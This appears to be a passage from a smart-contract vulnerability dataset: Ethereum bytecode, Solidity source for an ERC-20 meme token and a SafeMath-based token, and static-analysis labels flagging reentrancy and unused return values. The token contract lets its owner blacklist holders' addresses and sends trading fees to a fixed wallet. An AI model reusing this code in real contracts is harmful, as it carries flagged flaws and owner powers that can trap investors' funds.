35061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a65d0e435ebbdec47be1c4aee1a1717367ebda156b71f9184b0dd20a8caa08264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,034
0x4e65fe74641b684abc3c74cbfa3cb035f3044780
/** *Submitted for verification at Etherscan.io on 2021-12-10 */ /* Moon Goose Inu https://t.me/MoonGooseInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MoonGooseInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MoonGooseInu"; string private constant _symbol = "MGI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1A8c788201d16d3128032b5fEB9c0386B8f85e15); _feeAddrWallet2 = payable(0x1A8c788201d16d3128032b5fEB9c0386B8f85e15); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function liftmaxbuy(uint256 limitbuy) public onlyOwner { require(limitbuy > 0, "no limit"); _maxTxAmount = _tTotal.mul(limitbuy).div(10**5); emit MaxTxAmountUpdated(_maxTxAmount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102f1578063b515566a14610311578063c3c8cd8014610331578063c9567bf914610346578063dd62ed3e1461035b57600080fd5b806370a0823114610268578063715018a6146102885780638da5cb5b1461029d57806395d89b41146102c557600080fd5b806323b872dd116100dc57806323b872dd146101d7578063273123b7146101f7578063313ce567146102175780635932ead1146102335780636fc3eaec1461025357600080fd5b806306fdde0314610119578063095ea7b314610160578063161221f81461019057806318160ddd146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b4d6f6f6e476f6f7365496e7560a01b60208201525b60405161015791906118b3565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461173a565b6103a1565b6040519015158152602001610157565b34801561019c57600080fd5b506101b06101ab36600461186c565b6103b8565b005b3480156101be57600080fd5b50678ac7230489e800005b604051908152602001610157565b3480156101e357600080fd5b506101806101f23660046116f9565b610480565b34801561020357600080fd5b506101b0610212366004611686565b6104e9565b34801561022357600080fd5b5060405160098152602001610157565b34801561023f57600080fd5b506101b061024e366004611832565b610534565b34801561025f57600080fd5b506101b061057c565b34801561027457600080fd5b506101c9610283366004611686565b6105a9565b34801561029457600080fd5b506101b06105cb565b3480156102a957600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102d157600080fd5b506040805180820190915260038152624d474960e81b602082015261014a565b3480156102fd57600080fd5b5061018061030c36600461173a565b61063f565b34801561031d57600080fd5b506101b061032c366004611766565b61064c565b34801561033d57600080fd5b506101b06106e2565b34801561035257600080fd5b506101b0610718565b34801561036757600080fd5b506101c96103763660046116c0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ae338484610ada565b5060015b92915050565b6000546001600160a01b031633146103eb5760405162461bcd60e51b81526004016103e290611908565b60405180910390fd5b600081116104265760405162461bcd60e51b81526020600482015260086024820152671b9bc81b1a5b5a5d60c21b60448201526064016103e2565b610445620186a061043f678ac7230489e8000084610bfe565b90610c84565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600061048d848484610cc6565b6104df84336104da85604051806060016040528060288152602001611a9f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611013565b610ada565b5060019392505050565b6000546001600160a01b031633146105135760405162461bcd60e51b81526004016103e290611908565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055e5760405162461bcd60e51b81526004016103e290611908565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461059c57600080fd5b476105a68161104d565b50565b6001600160a01b0381166000908152600260205260408120546103b2906110d2565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016103e290611908565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610cc6565b6000546001600160a01b031633146106765760405162461bcd60e51b81526004016103e290611908565b60005b81518110156106de5760016006600084848151811061069a5761069a611a4f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d681611a1e565b915050610679565b5050565b600c546001600160a01b0316336001600160a01b03161461070257600080fd5b600061070d306105a9565b90506105a68161114f565b6000546001600160a01b031633146107425760405162461bcd60e51b81526004016103e290611908565b600f54600160a01b900460ff161561079c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e2565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d83082678ac7230489e80000610ada565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081157600080fd5b505afa158015610825573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084991906116a3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c991906116a3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094991906116a3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610979816105a9565b60008061098e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f157600080fd5b505af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611885565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106de919061184f565b6001600160a01b038316610b3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600082610c0d575060006103b2565b6000610c1983856119e8565b905082610c2685836119c6565b14610c7d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e2565b9392505050565b6000610c7d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d8565b6001600160a01b038316610d2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b038216610d8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b60008111610dee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e2565b6002600a556008600b556000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b15611003576001600160a01b03831660009081526006602052604090205460ff16158015610e6b57506001600160a01b03821660009081526006602052604090205460ff16155b610e7457600080fd5b600f546001600160a01b038481169116148015610e9f5750600e546001600160a01b03838116911614155b8015610ec457506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed95750600f54600160b81b900460ff165b15610f3657601054811115610eed57600080fd5b6001600160a01b0382166000908152600760205260409020544211610f1157600080fd5b610f1c42601e6119ae565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610f615750600e546001600160a01b03848116911614155b8015610f8657506001600160a01b03831660009081526005602052604090205460ff16155b15610f96576002600a908155600b555b6000610fa1306105a9565b600f54909150600160a81b900460ff16158015610fcc5750600f546001600160a01b03858116911614155b8015610fe15750600f54600160b01b900460ff165b1561100157610fef8161114f565b478015610fff57610fff4761104d565b505b505b61100e838383611306565b505050565b600081848411156110375760405162461bcd60e51b81526004016103e291906118b3565b5060006110448486611a07565b95945050505050565b600c546001600160a01b03166108fc611067836002610c84565b6040518115909202916000818181858888f1935050505015801561108f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110aa836002610c84565b6040518115909202916000818181858888f193505050501580156106de573d6000803e3d6000fd5b60006008548211156111395760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103e2565b6000611143611311565b9050610c7d8382610c84565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119757611197611a4f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111eb57600080fd5b505afa1580156111ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122391906116a3565b8160018151811061123657611236611a4f565b6001600160a01b039283166020918202929092010152600e5461125c9130911684610ada565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061129590859060009086903090429060040161193d565b600060405180830381600087803b1580156112af57600080fd5b505af11580156112c3573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600081836112f95760405162461bcd60e51b81526004016103e291906118b3565b50600061104484866119c6565b61100e838383611334565b600080600061131e61142b565b909250905061132d8282610c84565b9250505090565b6000806000806000806113468761146b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061137890876114c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113a7908661150a565b6001600160a01b0389166000908152600260205260409020556113c981611569565b6113d384836115b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141891815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006114468282610c84565b82101561146257505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006114888a600a54600b546115d7565b9250925092506000611498611311565b905060008060006114ab8e878787611626565b919e509c509a509598509396509194505050505091939550919395565b6000610c7d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611013565b60008061151783856119ae565b905083811015610c7d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e2565b6000611573611311565b905060006115818383610bfe565b3060009081526002602052604090205490915061159e908261150a565b30600090815260026020526040902055505050565b6008546115c090836114c8565b6008556009546115d0908261150a565b6009555050565b60008080806115eb606461043f8989610bfe565b905060006115fe606461043f8a89610bfe565b90506000611616826116108b866114c8565b906114c8565b9992985090965090945050505050565b60008080806116358886610bfe565b905060006116438887610bfe565b905060006116518888610bfe565b905060006116638261161086866114c8565b939b939a50919850919650505050505050565b803561168181611a7b565b919050565b60006020828403121561169857600080fd5b8135610c7d81611a7b565b6000602082840312156116b557600080fd5b8151610c7d81611a7b565b600080604083850312156116d357600080fd5b82356116de81611a7b565b915060208301356116ee81611a7b565b809150509250929050565b60008060006060848603121561170e57600080fd5b833561171981611a7b565b9250602084013561172981611a7b565b929592945050506040919091013590565b6000806040838503121561174d57600080fd5b823561175881611a7b565b946020939093013593505050565b6000602080838503121561177957600080fd5b823567ffffffffffffffff8082111561179157600080fd5b818501915085601f8301126117a557600080fd5b8135818111156117b7576117b7611a65565b8060051b604051601f19603f830116810181811085821117156117dc576117dc611a65565b604052828152858101935084860182860187018a10156117fb57600080fd5b600095505b838610156118255761181181611676565b855260019590950194938601938601611800565b5098975050505050505050565b60006020828403121561184457600080fd5b8135610c7d81611a90565b60006020828403121561186157600080fd5b8151610c7d81611a90565b60006020828403121561187e57600080fd5b5035919050565b60008060006060848603121561189a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118e0578581018301518582016040015282016118c4565b818111156118f2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561198d5784516001600160a01b031683529383019391830191600101611968565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c1576119c1611a39565b500190565b6000826119e357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a0257611a02611a39565b500290565b600082821015611a1957611a19611a39565b500390565b6000600019821415611a3257611a32611a39565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105a657600080fd5b80151581146105a657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eee5bc1ce6d71b041d1eb2e3700b71fb1027f8f48762d7ab8b221a510635a13564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,035
0x64341a883044de9b65fe527ff96c7fb9c9d5eb16
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= 